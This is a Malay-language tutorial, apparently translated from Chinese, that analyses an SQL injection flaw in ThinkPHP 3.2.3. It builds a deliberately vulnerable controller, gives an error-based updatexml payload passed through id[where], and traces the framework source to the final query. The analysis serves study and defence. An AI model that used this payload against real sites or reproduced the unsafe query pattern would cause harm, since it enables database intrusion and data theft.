Rumah  >  Artikel  >  pembangunan bahagian belakang  >  Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3

Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3

WBOY
WBOYke hadapan
2022-04-11 18:56:526494semak imbas

Artikel ini membawa anda pengetahuan yang berkaitan tentang thinkphp, yang terutamanya memperkenalkan isu berkaitan kerentanan suntikan thinkPHP3.2.3sql, termasuk kaedah m, kaedah d, kaedah u, dll. Kandungan berkaitan, saya harap ia akan membantu semua orang.

Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3

Pembelajaran yang disyorkan: "Tutorial Video PHP"

Kata Pengantar

Mesti menyelamatkan apabila menyerang musuh:

  • Ringkasan kaedah biasa dalam ThinkPHP: kaedah M, kaedah D, kaedah U, kaedah I

  • Thinkphp3.2.3 Arahan Pembangunan Keselamatan

Bangunan:

  1. Langkah pertama perlu Pertama letakkannya dalam direktori www (saya menggunakan phpstudy untuk windows)! ! ! !

  2. Buat pangkalan data, nama jadual mesti sepadan dengan nama yang anda mahu M seterusnya

  3. Tidak banyak yang boleh dikatakan tentang fail untuk disambungkan ke pangkalan data, Konfigurasikan diri anda: ThinkPHP/Conf/convention.php

  4. Konfigurasikan pengawal: WWWthinkphp3.2.3ApplicationHomeControllerIndexController.class.php

    <?phpnamespace  Home\Controller;use Think\Controller;class IndexController extends Controller {
        public function index(){
            $this->show('原来内容已经省略,太占地方');
    		$data = M('user')->find(I('GET.id'));
    		var_dump($data);
    	}}
  5. Ujian :

    Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3

Teks

muatan:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)#

Memang benar suntikan ralat berjaya, semuanya kerana kewujudan kod ini: $data = M('user')->find(I('GET.id'));

Tiada masalah dengan kaedah I dan M Masalah sebenar terletak pada kaedah

  1. cari di atas, daripada /ThinkPHP/Mode/Lite/Model.class.php
 public function find($options=array()) {   
        // 根据复合主键查找记录
        $pk  =  $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里
            // 根据复合主键查询
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
                return false;
            }
        }
        // 总是查找一条记录
        $options['limit']   =   1;
        // 分析表达式
        $options            =   $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用
     	$resultSet          =   $this->db->select($options);//重要的一步

2._parseOptions: Kerana ia adalah terutamanya untuk pilihan[di mana], saya memadamkan semua kod yang tidak berkaitan

/ThinkPHP/Library/Think/Model.class.php

protected function _parseOptions($options=array()) {
        if(is_array($options))
            $options =  array_merge($this->options,$options);
        // 字段类型验证
        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where'])
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }
                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                    if(!empty($this->options['strict'])){
                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                    } 
                    unset($options['where'][$key]);
                }
            }
        }
    //上面均没用,到现在开始有用:?
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options  =   array();
        // 表达式过滤
        $this->_options_filter($options);//这里值得注意
        return $options;
    }

3._options_filter

Tiada lagi di sini

Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3

Dan operasi di atas juga akan mengosongkan $options, jadi mungkin terdapat entri yang salah di sini

Jadi betulkan penjejakan bahagian kedua kepada

2.select:/ThinkPHP/Library/Think/Db/Driver.class.php

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
    }

3.buildSelectSql: Alamatnya sama seperti di atas

public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // 根据页数计算limit
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }

4.parseSql: Alamat yang sama seperti di atas

public function parseSql($sql,$options=array()){
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        return $sql;
    }

5.parseWhere: Sama seperti di atas

protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {//直接满足,直接进入
            // 直接使用字符串条件
            $whereStr = $where;
        }else{ // 使用数组表达式
        }
            return empty($whereStr)?'':' WHERE '.$whereStr;}

Terakhir $sql=di mana 1 dan 1=updatexml(1,concat(0x7e,user(),0x7e),1)#

Kemudian

$result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;

Keseluruhan proses tidak mempunyai sebarang penapisan, analisis seay menganggapPHP terlalu susah payah

Audit titik pecah PHPstorm:

muatan tidak berubah:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)#

Atau jejak fungsi cari:

Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3

Jejak di sini, masuk dan teruskan penjejakan Pada penghujung penjejakan, fungsi ini akan melompat keluar dan nilainya kekal tidak berubah. Pada masa yang sama, masuk ke fungsi seterusnya

Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3

Selepas pengesahan, kami melangkah ke fungsi lain:

Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3

Teruskan jejak buildSelectSql:

Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3

Teruskan jejak parseSql :

Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3

Kod akhir menjadi:

SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
Ia masih mudah untuk penyahpepijatan dan pada asasnya tidak perlu menggunakan otak anda

Pembelajaran yang disyorkan: "Tutorial Video PHP"

Atas ialah kandungan terperinci Mari kita bincangkan tentang kelemahan suntikan sql dalam thinkPHP3.2.3. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:csdn.net. Jika ada pelanggaran, sila hubungi admin@php.cn Padam
Artikel sebelumnya:Apakah kegunaan phpnowArtikel seterusnya:Apakah kegunaan phpnow